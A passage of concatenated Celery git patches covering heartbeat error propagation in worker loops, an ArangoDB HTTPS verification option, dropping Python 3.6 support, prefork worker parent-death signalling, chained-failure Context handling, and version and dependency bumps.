_quick_drain(connection, timeout=0.1): def _enable_amqheartbeats(timer, connection, rate=2.0): - if connection: - tick = connection.heartbeat_check - heartbeat = connection.get_heartbeat_interval() # negotiated - if heartbeat and connection.supports_heartbeats: - timer.call_repeatedly(heartbeat / rate, tick, (rate,)) + heartbeat_error = [None] + + if not connection: + return heartbeat_error + + heartbeat = connection.get_heartbeat_interval() # negotiated + if not (heartbeat and connection.supports_heartbeats): + return heartbeat_error + + def tick(rate): + try: + connection.heartbeat_check(rate) + except Exception as e: + # heartbeat_error is passed by reference can be updated + # no append here list should be fixed size=1 + heartbeat_error[0] = e + + timer.call_repeatedly(heartbeat / rate, tick, (rate,)) + return heartbeat_error def asynloop(obj, connection, consumer, blueprint, hub, qos, @@ -42,7 +56,7 @@ def asynloop(obj, connection, consumer, blueprint, hub, qos, on_task_received = obj.create_task_handler() - _enable_amqheartbeats(hub.timer, connection, rate=hbrate) + heartbeat_error = _enable_amqheartbeats(hub.timer, connection, rate=hbrate) consumer.on_message = on_task_received obj.controller.register_with_event_loop(hub) @@ -70,6 +84,8 @@ def asynloop(obj, connection, consumer, blueprint, hub, qos, try: while blueprint.state == RUN and obj.connection: state.maybe_shutdown() + if heartbeat_error[0] is not None: + raise heartbeat_error[0] # We only update QoS when there's no more messages to read. # This groups together qos calls, and makes sure that remote @@ -95,8 +111,9 @@ def synloop(obj, connection, consumer, blueprint, hub, qos, RUN = bootsteps.RUN on_task_received = obj.create_task_handler() perform_pending_operations = obj.perform_pending_operations + heartbeat_error = [None] if getattr(obj.pool, 'is_green', False): - _enable_amqheartbeats(obj.timer, connection, rate=hbrate) + heartbeat_error = _enable_amqheartbeats(obj.timer, connection, rate=hbrate) consumer.on_message = on_task_received consumer.consume() @@ -104,6 +121,8 @@ def synloop(obj, connection, consumer, blueprint, hub, qos, while blueprint.state == RUN and obj.connection: state.maybe_shutdown() + if heartbeat_error[0] is not None: + raise heartbeat_error[0] if qos.prev != qos.value: qos.update() try: diff --git a/t/unit/worker/test_loops.py b/t/unit/worker/test_loops.py index 27d1b832ea0..2b2db226554 100644 --- a/t/unit/worker/test_loops.py +++ b/t/unit/worker/test_loops.py @@ -158,9 +158,10 @@ def test_setup_heartbeat(self): asynloop(*x.args) x.consumer.consume.assert_called_with() x.obj.on_ready.assert_called_with() - x.hub.timer.call_repeatedly.assert_called_with( - 10 / 2.0, x.connection.heartbeat_check, (2.0,), - ) + last_call_args, _ = x.hub.timer.call_repeatedly.call_args + + assert last_call_args[0] == 10 / 2.0 + assert last_call_args[2] == (2.0,) def task_context(self, sig, **kwargs): x, on_task = get_task_callback(self.app, **kwargs) @@ -429,6 +430,30 @@ def test_poll_raises_ValueError(self): asynloop(*x.args) poller.poll.assert_called() + def test_heartbeat_error(self): + x = X(self.app, heartbeat=10) + x.connection.heartbeat_check = Mock( + side_effect=RuntimeError("Heartbeat error") + ) + + def call_repeatedly(rate, fn, args): + fn(*args) + + x.hub.timer.call_repeatedly = call_repeatedly + with pytest.raises(RuntimeError): + asynloop(*x.args) + + def test_no_heartbeat_support(self): + x = X(self.app) + x.connection.supports_heartbeats = False + x.hub.timer.call_repeatedly = Mock( + name='x.hub.timer.call_repeatedly()' + ) + x.hub.on_tick.add(x.closer(mod=2)) + asynloop(*x.args) + + x.hub.timer.call_repeatedly.assert_not_called() + class test_synloop: @@ -459,6 +484,49 @@ def test_ignores_socket_errors_when_closed(self): x.close_then_error(x.connection.drain_events) assert synloop(*x.args) is None + def test_no_connection(self): + x = X(self.app) + x.connection = None + x.hub.timer.call_repeatedly = Mock( + name='x.hub.timer.call_repeatedly()' + ) + x.blueprint.state = CLOSE + synloop(*x.args) + + x.hub.timer.call_repeatedly.assert_not_called() + + def test_heartbeat_error(self): + x = X(self.app, heartbeat=10) + x.obj.pool.is_green = True + + def heartbeat_check(rate): + raise RuntimeError('Heartbeat error') + + def call_repeatedly(rate, fn, args): + fn(*args) + + x.connection.heartbeat_check = Mock( + name='heartbeat_check', side_effect=heartbeat_check + ) + x.obj.timer.call_repeatedly = call_repeatedly + with pytest.raises(RuntimeError): + synloop(*x.args) + + def test_no_heartbeat_support(self): + x = X(self.app) + x.connection.supports_heartbeats = False + x.obj.pool.is_green = True + x.obj.timer.call_repeatedly = Mock( + name='x.obj.timer.call_repeatedly()' + ) + + def drain_events(timeout): + x.blueprint.state = CLOSE + x.connection.drain_events.side_effect = drain_events + synloop(*x.args) + + x.obj.timer.call_repeatedly.assert_not_called() + class test_quick_drain: From ec5b1d7fff597e5e69ba273bec224ba704437e5b Mon Sep 17 00:00:00 2001 From: kronion Date: Thu, 26 Aug 2021 23:29:32 -0500 Subject: [PATCH 320/415] Remove outdated optimization documentation (#6933) * Remove outdated optimization documentation * Update CONTRIBUTORS.txt --- CONTRIBUTORS.txt | 1 + docs/getting-started/next-steps.rst | 7 ------- 2 files changed, 1 insertion(+), 7 deletions(-) diff --git a/CONTRIBUTORS.txt b/CONTRIBUTORS.txt index fa80335e9c9..5dee5a11685 100644 --- a/CONTRIBUTORS.txt +++ b/CONTRIBUTORS.txt @@ -284,3 +284,4 @@ Ruaridh Williamson, 2021/03/09 Garry Lawrence, 2021/06/19 Patrick Zhang, 2017/08/19 Konstantin Kochin, 2021/07/11 +kronion, 2021/08/26 diff --git a/docs/getting-started/next-steps.rst b/docs/getting-started/next-steps.rst index 2b66fd5ce04..d919d0e57c5 100644 --- a/docs/getting-started/next-steps.rst +++ b/docs/getting-started/next-steps.rst @@ -766,13 +766,6 @@ If you have strict fair scheduling requirements, or want to optimize for throughput then you should read the :ref:`Optimizing Guide `. -If you're using RabbitMQ then you can install the :pypi:`librabbitmq` -module, an AMQP client implemented in C: - -.. code-block:: console - - $ pip install librabbitmq - What to do now? =============== From 8b705b1ddbef81d431e41d3722e4176802dd4987 Mon Sep 17 00:00:00 2001 From: Dilip Vamsi Moturi <16288600+dilipvamsi@users.noreply.github.com> Date: Mon, 30 Aug 2021 13:34:58 +0530 Subject: [PATCH 321/415] added https verification check functionality in arangodb backend (#6800) * added https verification functionality * added verify tests --- celery/backends/arangodb.py | 4 +++- docs/userguide/configuration.rst | 10 ++++++++++ t/unit/backends/test_arangodb.py | 5 ++++- 3 files changed, 17 insertions(+), 2 deletions(-) diff --git a/celery/backends/arangodb.py b/celery/backends/arangodb.py index 1cd82078070..a7575741575 100644 --- a/celery/backends/arangodb.py +++ b/celery/backends/arangodb.py @@ -48,6 +48,7 @@ class ArangoDbBackend(KeyValueStoreBackend): password = None # protocol is not supported in backend url (http is taken as default) http_protocol = 'http' + verify = False # Use str as arangodb key not bytes key_t = str @@ -88,6 +89,7 @@ def __init__(self, url=None, *args, **kwargs): self.host = host or config.get('host', self.host) self.port = int(port or config.get('port', self.port)) self.http_protocol = config.get('http_protocol', self.http_protocol) + self.verify = config.get('verify', self.verify) self.database = database or config.get('database', self.database) self.collection = \ collection or config.get('collection', self.collection) @@ -104,7 +106,7 @@ def connection(self): if self._connection is None: self._connection = py_arango_connection.Connection( arangoURL=self.arangodb_url, username=self.username, - password=self.password + password=self.password, verify=self.verify ) return self._connection diff --git a/docs/userguide/configuration.rst b/docs/userguide/configuration.rst index 68207482b8e..f78388fd7b7 100644 --- a/docs/userguide/configuration.rst +++ b/docs/userguide/configuration.rst @@ -1884,6 +1884,16 @@ This is a dict supporting the following keys: Password to authenticate to the ArangoDB server (optional). +* ``http_protocol`` + + HTTP Protocol in ArangoDB server connection. + Defaults to ``http``. + +* ``verify`` + + HTTPS Verification check while creating the ArangoDB connection. + Defaults to ``False``. + .. _conf-cosmosdbsql-result-backend: CosmosDB backend settings (experimental) diff --git a/t/unit/backends/test_arangodb.py b/t/unit/backends/test_arangodb.py index 2cb2f33c9db..992c21a8ef4 100644 --- a/t/unit/backends/test_arangodb.py +++ b/t/unit/backends/test_arangodb.py @@ -71,7 +71,8 @@ def test_config_params(self): 'password': 'mysecret', 'database': 'celery_database', 'collection': 'celery_collection', - 'http_protocol': 'https' + 'http_protocol': 'https', + 'verify': True } x = ArangoDbBackend(app=self.app) assert x.host == 'test.arangodb.com' @@ -82,6 +83,7 @@ def test_config_params(self): assert x.collection == 'celery_collection' assert x.http_protocol == 'https' assert x.arangodb_url == 'https://test.arangodb.com:8529' + assert x.verify == True def test_backend_by_url( self, url="arangodb://username:password@host:port/database/collection" @@ -106,6 +108,7 @@ def test_backend_params_by_url(self): assert x.collection == 'celery_collection' assert x.http_protocol == 'http' assert x.arangodb_url == 'http://test.arangodb.com:8529' + assert x.verify == False def test_backend_cleanup(self): now = datetime.datetime.utcnow() From 25570839c539578b83b9e9d2ff9d90b27c9b9d38 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Sun, 29 Aug 2021 11:49:26 +0300 Subject: [PATCH 322/415] Drop Python 3.6 support. Python 3.6 is EOL in a few days and 5.2 will not support it. Therefore, we will not need to test Celery with Python 3.6 anymore. --- .github/workflows/python-package.yml | 2 +- tox.ini | 10 ++++------ 2 files changed, 5 insertions(+), 7 deletions(-) diff --git a/.github/workflows/python-package.yml b/.github/workflows/python-package.yml index 41b525ca2cb..0c1855b7ebb 100644 --- a/.github/workflows/python-package.yml +++ b/.github/workflows/python-package.yml @@ -24,7 +24,7 @@ jobs: strategy: fail-fast: false matrix: - python-version: ['3.6', '3.7', '3.8', '3.9', '3.10.0-rc.1', 'pypy-3.6', 'pypy-3.7'] + python-version: ['3.7', '3.8', '3.9', '3.10.0-rc.1', 'pypy-3.7'] os: ["ubuntu-20.04", "windows-2019"] exclude: - os: windows-2019 diff --git a/tox.ini b/tox.ini index bf181af2731..64213027b9c 100644 --- a/tox.ini +++ b/tox.ini @@ -2,8 +2,8 @@ requires = tox-gh-actions envlist = - {3.6,3.7,3.8,3.9,3.10,pypy3}-unit - {3.6,3.7,3.8,3.9,3.10,pypy3}-integration-{rabbitmq,redis,dynamodb,azureblockblob,cache,cassandra,elasticsearch} + {3.7,3.8,3.9,3.10,pypy3}-unit + {3.7,3.8,3.9,3.10,pypy3}-integration-{rabbitmq,redis,dynamodb,azureblockblob,cache,cassandra,elasticsearch} flake8 apicheck @@ -13,7 +13,6 @@ envlist = [gh-actions] python = - 3.6: 3.6-unit 3.7: 3.7-unit 3.8: 3.8-unit 3.9: 3.9-unit @@ -31,8 +30,8 @@ deps= -r{toxinidir}/requirements/test.txt -r{toxinidir}/requirements/pkgutils.txt - 3.6,3.7,3.8,3.9,3.10: -r{toxinidir}/requirements/test-ci-default.txt - 3.6,3.7,3.8,3.9,3.10: -r{toxinidir}/requirements/docs.txt + 3.7,3.8,3.9,3.10: -r{toxinidir}/requirements/test-ci-default.txt + 3.7,3.8,3.9,3.10: -r{toxinidir}/requirements/docs.txt pypy3: -r{toxinidir}/requirements/test-ci-default.txt integration: -r{toxinidir}/requirements/test-integration.txt @@ -74,7 +73,6 @@ setenv = azureblockblob: TEST_BACKEND=azureblockblob://DefaultEndpointsProtocol=http;AccountName=devstoreaccount1;AccountKey=Eby8vdM02xNOcqFlqUwJPLlmEtlCDXJ1OUzFT50uSRZ6IFsuFq2UVErCz4I6tq/K1SZFPTOtr/KBHBeksoGMGw==;BlobEndpoint=http://127.0.0.1:10000/devstoreaccount1; basepython = - 3.6: python3.6 3.7: python3.7 3.8: python3.8 3.9: python3.9 From a0635955391992180171f75d80be72c5752635e5 Mon Sep 17 00:00:00 2001 From: Asif Saif Uddin Date: Mon, 30 Aug 2021 17:28:25 +0600 Subject: [PATCH 323/415] update supported python versions on readme --- README.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.rst b/README.rst index ac0f3e31150..47c811fbe23 100644 --- a/README.rst +++ b/README.rst @@ -59,8 +59,8 @@ What do I need? Celery version 5.2.0b2 runs on, -- Python (3.6, 3.7, 3.8, 3.9) -- PyPy3.6 (7.6) +- Python (3.7, 3.8, 3.9, 3.10) +- PyPy3.7 (7.3+) This is the next version of celery which will support Python 3.6 or newer. From 816ab05e715bdf410aa2bec46a56f9838a84780e Mon Sep 17 00:00:00 2001 From: "pre-commit-ci[bot]" <66853113+pre-commit-ci[bot]@users.noreply.github.com> Date: Tue, 31 Aug 2021 15:15:50 +0300 Subject: [PATCH 324/415] [pre-commit.ci] pre-commit autoupdate (#6935) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit updates: - [github.com/asottile/pyupgrade: v2.24.0 → v2.25.0](https://github.com/asottile/pyupgrade/compare/v2.24.0...v2.25.0) Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> --- .pre-commit-config.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index c05c93b2734..96762be07c8 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -1,6 +1,6 @@ repos: - repo: https://github.com/asottile/pyupgrade - rev: v2.24.0 + rev: v2.25.0 hooks: - id: pyupgrade args: ["--py36-plus"] From 42745cf43c245dd42a92cd8e1ed76699f19d1989 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Tue, 31 Aug 2021 15:14:28 +0300 Subject: [PATCH 325/415] Remove appveyor configuration since we migrated to GA. --- appveyor.yml | 58 ---------------------------------------------------- 1 file changed, 58 deletions(-) delete mode 100644 appveyor.yml diff --git a/appveyor.yml b/appveyor.yml deleted file mode 100644 index 666932d9540..00000000000 --- a/appveyor.yml +++ /dev/null @@ -1,58 +0,0 @@ -environment: - - global: - # SDK v7.0 MSVC Express 2008's SetEnv.cmd script will fail if the - # /E:ON and /V:ON options are not enabled in the batch script intepreter - # See: https://stackoverflow.com/a/13751649/163740 - WITH_COMPILER: "cmd /E:ON /V:ON /C .\\extra\\appveyor\\run_with_compiler.cmd" - - matrix: - - # Pre-installed Python versions, which Appveyor may upgrade to - # a later point release. - # See: https://www.appveyor.com/docs/installed-software#python - - - PYTHON: "C:\\Python36-x64" - PYTHON_VERSION: "3.6.x" - PYTHON_ARCH: "64" - WINDOWS_SDK_VERSION: "v7.1" - TOXENV: "3.6-unit" - - - PYTHON: "C:\\Python37-x64" - PYTHON_VERSION: "3.7.x" - PYTHON_ARCH: "64" - WINDOWS_SDK_VERSION: "v7.1" - TOXENV: "3.7-unit" - - - PYTHON: "C:\\Python38-x64" - PYTHON_VERSION: "3.8.x" - PYTHON_ARCH: "64" - WINDOWS_SDK_VERSION: "v7.1" - TOXENV: "3.8-unit" - - -init: - - "ECHO %PYTHON% %PYTHON_VERSION% %PYTHON_ARCH%" - -install: - - "powershell extra\\appveyor\\install.ps1" - - "%PYTHON%/python -m pip install -U pip setuptools tox" - - "%PYTHON%/Scripts/pip.exe install -U eventlet" - - "%PYTHON%/Scripts/pip.exe install -U -r requirements/extras/thread.txt" - -build: off - -test_script: - - "%WITH_COMPILER% %PYTHON%/Scripts/tox -v -- -v" - -after_test: - - "%WITH_COMPILER% %PYTHON%/python setup.py bdist_wheel" - -artifacts: - - path: dist\* - -cache: - - '%LOCALAPPDATA%\pip\Cache' - -#on_success: -# - TODO: upload the content of dist/*.whl to a public wheelhouse From fc20c44ae400e7ebf048d7c1b3c4fc8b8f3562e8 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Tue, 31 Aug 2021 15:17:08 +0300 Subject: [PATCH 326/415] pyugrade is now set to upgrade code to 3.7. --- .pre-commit-config.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index 96762be07c8..a1807946d9b 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -3,7 +3,7 @@ repos: rev: v2.25.0 hooks: - id: pyupgrade - args: ["--py36-plus"] + args: ["--py37-plus"] - repo: https://github.com/PyCQA/flake8 rev: 3.9.2 From 27ebeaebf6b5720767b05cb0c62ef5f591d4d23f Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Tue, 31 Aug 2021 15:19:39 +0300 Subject: [PATCH 327/415] Drop exclude statement since we no longer test with pypy-3.6. --- .github/workflows/python-package.yml | 3 --- 1 file changed, 3 deletions(-) diff --git a/.github/workflows/python-package.yml b/.github/workflows/python-package.yml index 0c1855b7ebb..a47283da6ac 100644 --- a/.github/workflows/python-package.yml +++ b/.github/workflows/python-package.yml @@ -26,9 +26,6 @@ jobs: matrix: python-version: ['3.7', '3.8', '3.9', '3.10.0-rc.1', 'pypy-3.7'] os: ["ubuntu-20.04", "windows-2019"] - exclude: - - os: windows-2019 - python-version: 'pypy-3.6' steps: - name: Install apt packages From 602d4e1ebfd8abf27d01760979ff0637b2bede17 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Tue, 31 Aug 2021 15:20:14 +0300 Subject: [PATCH 328/415] 3.10 is not GA so it's not supported yet. --- README.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.rst b/README.rst index 47c811fbe23..82b1ac6f047 100644 --- a/README.rst +++ b/README.rst @@ -59,7 +59,7 @@ What do I need? Celery version 5.2.0b2 runs on, -- Python (3.7, 3.8, 3.9, 3.10) +- Python (3.7, 3.8, 3.9) - PyPy3.7 (7.3+) From a1e503e487edf31ca1e02c3cfd475a965b37556b Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Tue, 31 Aug 2021 15:20:45 +0300 Subject: [PATCH 329/415] Celery 5.1 or earlier support Python 3.6. --- README.rst | 1 + 1 file changed, 1 insertion(+) diff --git a/README.rst b/README.rst index 82b1ac6f047..1aca1c075c2 100644 --- a/README.rst +++ b/README.rst @@ -72,6 +72,7 @@ an older version of Celery: - Python 2.5: Celery series 3.0 or earlier. - Python 2.4: Celery series 2.2 or earlier. - Python 2.7: Celery 4.x series. +- Python 3.6: Celery 5.1 or earlier. Celery is a project with minimal funding, so we don't support Microsoft Windows. From 9e435228cb106588f408ae71b9d703ff81a80531 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Tue, 31 Aug 2021 15:21:48 +0300 Subject: [PATCH 330/415] Fix linting error. --- t/unit/backends/test_arangodb.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/t/unit/backends/test_arangodb.py b/t/unit/backends/test_arangodb.py index 992c21a8ef4..4486f0b52c0 100644 --- a/t/unit/backends/test_arangodb.py +++ b/t/unit/backends/test_arangodb.py @@ -83,7 +83,7 @@ def test_config_params(self): assert x.collection == 'celery_collection' assert x.http_protocol == 'https' assert x.arangodb_url == 'https://test.arangodb.com:8529' - assert x.verify == True + assert x.verify is True def test_backend_by_url( self, url="arangodb://username:password@host:port/database/collection" @@ -108,7 +108,7 @@ def test_backend_params_by_url(self): assert x.collection == 'celery_collection' assert x.http_protocol == 'http' assert x.arangodb_url == 'http://test.arangodb.com:8529' - assert x.verify == False + assert x.verify is False def test_backend_cleanup(self): now = datetime.datetime.utcnow() From 5c47c1ff1aebd04b8e6b47255414e6f121b5c59f Mon Sep 17 00:00:00 2001 From: maybe-sybr <58414429+maybe-sybr@users.noreply.github.com> Date: Fri, 3 Sep 2021 00:02:16 +1000 Subject: [PATCH 331/415] fix: Pass a `Context` when chaining fail results (#6899) This change ensures that during chaining of failure results, we always reconstruct a `Context` objects for the request rather than sometimes passing a dictionary to the backend. This avoids upsetting expectations in the backend implementations which often expect to be able to use dotted attribute access on the `request` they are passed Fixes #6882 --- celery/backends/base.py | 40 +++++++++++++++++++++++----------------- 1 file changed, 23 insertions(+), 17 deletions(-) diff --git a/celery/backends/base.py b/celery/backends/base.py index 91327ea2190..ffbd1d0307c 100644 --- a/celery/backends/base.py +++ b/celery/backends/base.py @@ -185,29 +185,35 @@ def mark_as_failure(self, task_id, exc, except (AttributeError, TypeError): chain_data = tuple() for chain_elem in chain_data: - chain_elem_opts = chain_elem['options'] + # Reconstruct a `Context` object for the chained task which has + # enough information to for backends to work with + chain_elem_ctx = Context(chain_elem) + chain_elem_ctx.update(chain_elem_ctx.options) + chain_elem_ctx.id = chain_elem_ctx.options.get('task_id') + chain_elem_ctx.group = chain_elem_ctx.options.get('group_id') # If the state should be propagated, we'll do so for all # elements of the chain. This is only truly important so # that the last chain element which controls completion of # the chain itself is marked as completed to avoid stalls. - if store_result and state in states.PROPAGATE_STATES: - try: - chained_task_id = chain_elem_opts['task_id'] - except KeyError: - pass - else: - self.store_result( - chained_task_id, exc, state, - traceback=traceback, request=chain_elem - ) + # + # Some chained elements may be complex signatures and have no + # task ID of their own, so we skip them hoping that not + # descending through them is OK. If the last chain element is + # complex, we assume it must have been uplifted to a chord by + # the canvas code and therefore the condition below will ensure + # that we mark something as being complete as avoid stalling. + if ( + store_result and state in states.PROPAGATE_STATES and + chain_elem_ctx.task_id is not None + ): + self.store_result( + chain_elem_ctx.task_id, exc, state, + traceback=traceback, request=chain_elem_ctx, + ) # If the chain element is a member of a chord, we also need # to call `on_chord_part_return()` as well to avoid stalls. - if 'chord' in chain_elem_opts: - failed_ctx = Context(chain_elem) - failed_ctx.update(failed_ctx.options) - failed_ctx.id = failed_ctx.options['task_id'] - failed_ctx.group = failed_ctx.options['group_id'] - self.on_chord_part_return(failed_ctx, state, exc) + if 'chord' in chain_elem_ctx.options: + self.on_chord_part_return(chain_elem_ctx, state, exc) # And finally we'll fire any errbacks if call_errbacks and request.errbacks: self._call_task_errbacks(request, exc, traceback) From 917088f6987d99b51364e43353c6ef1ce8e02e24 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Thu, 2 Sep 2021 20:36:42 +0300 Subject: [PATCH 332/415] =?UTF-8?q?Bump=20version:=205.2.0b2=20=E2=86=92?= =?UTF-8?q?=205.2.0b3?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .bumpversion.cfg | 2 +- README.rst | 6 +++--- celery/__init__.py | 2 +- docs/includes/introduction.txt | 2 +- 4 files changed, 6 insertions(+), 6 deletions(-) diff --git a/.bumpversion.cfg b/.bumpversion.cfg index 90de144c22e..cf0e85fec33 100644 --- a/.bumpversion.cfg +++ b/.bumpversion.cfg @@ -1,5 +1,5 @@ [bumpversion] -current_version = 5.2.0b2 +current_version = 5.2.0b3 commit = True tag = True parse = (?P\d+)\.(?P\d+)\.(?P\d+)(?P[a-z\d]+)? diff --git a/README.rst b/README.rst index 1aca1c075c2..9a6b2335717 100644 --- a/README.rst +++ b/README.rst @@ -2,7 +2,7 @@ |build-status| |coverage| |license| |wheel| |pyversion| |pyimp| |ocbackerbadge| |ocsponsorbadge| -:Version: 5.2.0b2 (dawn-chorus) +:Version: 5.2.0b3 (dawn-chorus) :Web: https://docs.celeryproject.org/en/stable/index.html :Download: https://pypi.org/project/celery/ :Source: https://github.com/celery/celery/ @@ -57,7 +57,7 @@ in such a way that the client enqueues an URL to be requested by a worker. What do I need? =============== -Celery version 5.2.0b2 runs on, +Celery version 5.2.0b3 runs on, - Python (3.7, 3.8, 3.9) - PyPy3.7 (7.3+) @@ -90,7 +90,7 @@ Get Started =========== If this is the first time you're trying to use Celery, or you're -new to Celery 5.0.5 or 5.2.0b2 coming from previous versions then you should read our +new to Celery 5.0.5 or 5.2.0b3 coming from previous versions then you should read our getting started tutorials: - `First steps with Celery`_ diff --git a/celery/__init__.py b/celery/__init__.py index 6248ddec82c..3fdffce06ca 100644 --- a/celery/__init__.py +++ b/celery/__init__.py @@ -17,7 +17,7 @@ SERIES = 'dawn-chorus' -__version__ = '5.2.0b2' +__version__ = '5.2.0b3' __author__ = 'Ask Solem' __contact__ = 'auvipy@gmail.com' __homepage__ = 'http://celeryproject.org' diff --git a/docs/includes/introduction.txt b/docs/includes/introduction.txt index 5cf7b344ea5..48c25ce0f07 100644 --- a/docs/includes/introduction.txt +++ b/docs/includes/introduction.txt @@ -1,4 +1,4 @@ -:Version: 5.2.0b2 (cliffs) +:Version: 5.2.0b3 (cliffs) :Web: http://celeryproject.org/ :Download: https://pypi.org/project/celery/ :Source: https://github.com/celery/celery/ From 8ae12153212e2b54a6d0e9fa633b9139321d7585 Mon Sep 17 00:00:00 2001 From: Matus Valo Date: Sun, 5 Sep 2021 18:09:31 +0200 Subject: [PATCH 333/415] Kill all workers when main process exits in prefork model (#6942) * Kill all workers when main process exits in prefork model * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Make flake8 happy Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> --- celery/concurrency/prefork.py | 2 ++ celery/platforms.py | 11 ++++++++++ t/unit/concurrency/test_prefork.py | 32 +++++++++++++++++++++--------- t/unit/utils/test_platforms.py | 14 ++++++++++++- 4 files changed, 49 insertions(+), 10 deletions(-) diff --git a/celery/concurrency/prefork.py b/celery/concurrency/prefork.py index a764611444a..40772ebae1a 100644 --- a/celery/concurrency/prefork.py +++ b/celery/concurrency/prefork.py @@ -41,6 +41,8 @@ def process_initializer(app, hostname): Initialize the child pool process to ensure the correct app instance is used and things like logging works. """ + # Each running worker gets SIGKILL by OS when main process exits. + platforms.set_pdeathsig('SIGKILL') _set_task_join_will_block(True) platforms.signals.reset(*WORKER_SIGRESET) platforms.signals.ignore(*WORKER_SIGIGNORE) diff --git a/celery/platforms.py b/celery/platforms.py index d2fe02bede3..8af1876fde6 100644 --- a/celery/platforms.py +++ b/celery/platforms.py @@ -17,6 +17,7 @@ from contextlib import contextmanager from billiard.compat import close_open_fds, get_fdmax +from billiard.util import set_pdeathsig as _set_pdeathsig # fileno used to be in this module from kombu.utils.compat import maybe_fileno from kombu.utils.encoding import safe_str @@ -708,6 +709,16 @@ def strargv(argv): return '' +def set_pdeathsig(name): + """Sends signal ``name`` to process when parent process terminates.""" + if signals.supported('SIGKILL'): + try: + _set_pdeathsig(signals.signum('SIGKILL')) + except OSError: + # We ignore when OS does not support set_pdeathsig + pass + + def set_process_title(progname, info=None): """Set the :command:`ps` name for the currently running process. diff --git a/t/unit/concurrency/test_prefork.py b/t/unit/concurrency/test_prefork.py index f240123a448..713b63d7baf 100644 --- a/t/unit/concurrency/test_prefork.py +++ b/t/unit/concurrency/test_prefork.py @@ -53,11 +53,18 @@ def get(self): return self.value +@patch('celery.platforms.set_mp_process_title') class test_process_initializer: + @staticmethod + def Loader(*args, **kwargs): + loader = Mock(*args, **kwargs) + loader.conf = {} + loader.override_backends = {} + return loader + @patch('celery.platforms.signals') - @patch('celery.platforms.set_mp_process_title') - def test_process_initializer(self, set_mp_process_title, _signals): + def test_process_initializer(self, _signals, set_mp_process_title): with mock.restore_logging(): from celery import signals from celery._state import _tls @@ -67,13 +74,7 @@ def test_process_initializer(self, set_mp_process_title, _signals): on_worker_process_init = Mock() signals.worker_process_init.connect(on_worker_process_init) - def Loader(*args, **kwargs): - loader = Mock(*args, **kwargs) - loader.conf = {} - loader.override_backends = {} - return loader - - with self.Celery(loader=Loader) as app: + with self.Celery(loader=self.Loader) as app: app.conf = AttributeDict(DEFAULTS) process_initializer(app, 'awesome.worker.com') _signals.ignore.assert_any_call(*WORKER_SIGIGNORE) @@ -100,6 +101,19 @@ def Loader(*args, **kwargs): finally: os.environ.pop('CELERY_LOG_FILE', None) + @patch('celery.platforms.set_pdeathsig') + def test_pdeath_sig(self, _set_pdeathsig, set_mp_process_title): + with mock.restore_logging(): + from celery import signals + on_worker_process_init = Mock() + signals.worker_process_init.connect(on_worker_process_init) + from celery.concurrency.prefork import process_initializer + + with self.Celery(loader=self.Loader) as app: + app.conf = AttributeDict(DEFAULTS) + process_initializer(app, 'awesome.worker.com') + _set_pdeathsig.assert_called_once_with('SIGKILL') + class test_process_destructor: diff --git a/t/unit/utils/test_platforms.py b/t/unit/utils/test_platforms.py index f0b1fde8d3a..4100ad56560 100644 --- a/t/unit/utils/test_platforms.py +++ b/t/unit/utils/test_platforms.py @@ -18,7 +18,7 @@ close_open_fds, create_pidlock, detached, fd_by_path, get_fdmax, ignore_errno, initgroups, isatty, maybe_drop_privileges, parse_gid, - parse_uid, set_mp_process_title, + parse_uid, set_mp_process_title, set_pdeathsig, set_process_title, setgid, setgroups, setuid, signals) from celery.utils.text import WhateverIO @@ -170,6 +170,18 @@ def test_setitem_raises(self, set): signals['INT'] = lambda *a: a +class test_set_pdeathsig: + + def test_call(self): + set_pdeathsig('SIGKILL') + + @t.skip.if_win32 + def test_call_with_correct_parameter(self): + with patch('celery.platforms._set_pdeathsig') as _set_pdeathsig: + set_pdeathsig('SIGKILL') + _set_pdeathsig.assert_called_once_with(signal.SIGKILL) + + @t.skip.if_win32 class test_get_fdmax: From 61587d12033d289d3004974a91c054d7b4360f8d Mon Sep 17 00:00:00 2001 From: Asif Saif Uddin Date: Tue, 7 Sep 2021 19:57:06 +0600 Subject: [PATCH 334/415] test kombu 5.2.0rc1 (#6947) --- requirements/default.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/requirements/default.txt b/requirements/default.txt index b892226269a..6d28411082d 100644 --- a/requirements/default.txt +++ b/requirements/default.txt @@ -1,6 +1,6 @@ pytz>dev billiard>=3.6.4.0,<4.0 -kombu>=5.1.0,<6.0 +kombu>=5.2.0rc1,<6.0 vine>=5.0.0,<6.0 click>=8.0,<9.0 click-didyoumean>=0.0.3 From b686c6e66fb07238a2a7a7a22c542069f9e2db9a Mon Sep 17 00:00:00 2001 From: Asif Saif Uddin Date: Tue, 7 Sep 2021 20:24:32 +0600 Subject: [PATCH 335/415] try moto 2.2.x (#6948) --- requirements/test.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/requirements/test.txt b/requirements/test.txt index 0325981f8e8..0dd666f70bf 100644 --- a/requirements/test.txt +++ b/requirements/test.txt @@ -4,7 +4,7 @@ pytest-celery pytest-subtests pytest-timeout~=1.4.2 boto3>=1.9.178 